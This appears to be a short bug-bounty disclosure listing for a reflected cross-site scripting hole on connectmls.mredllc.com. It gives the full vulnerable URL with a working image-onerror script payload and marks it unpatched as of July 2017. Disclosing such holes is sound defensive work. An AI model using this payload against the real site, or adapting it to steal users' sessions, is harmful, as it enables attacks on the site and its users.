connectmls.mredllc.com XSS vulnerability

Vulnerable URL: http://connectmls.mredllc.com/common/externalAction.jsp?do=dynaconn.soy.setup.leadwidget.SubmitLeadForm=%22%3E%3Cimg%20src=x%20onerror=prompt%28/OPENBUGBOUNTY/%29%3E=true Details: Description| Value ---|--- Patched:| No Latest check for patch:| 27.07.2017 Vulnerability type:| XSS...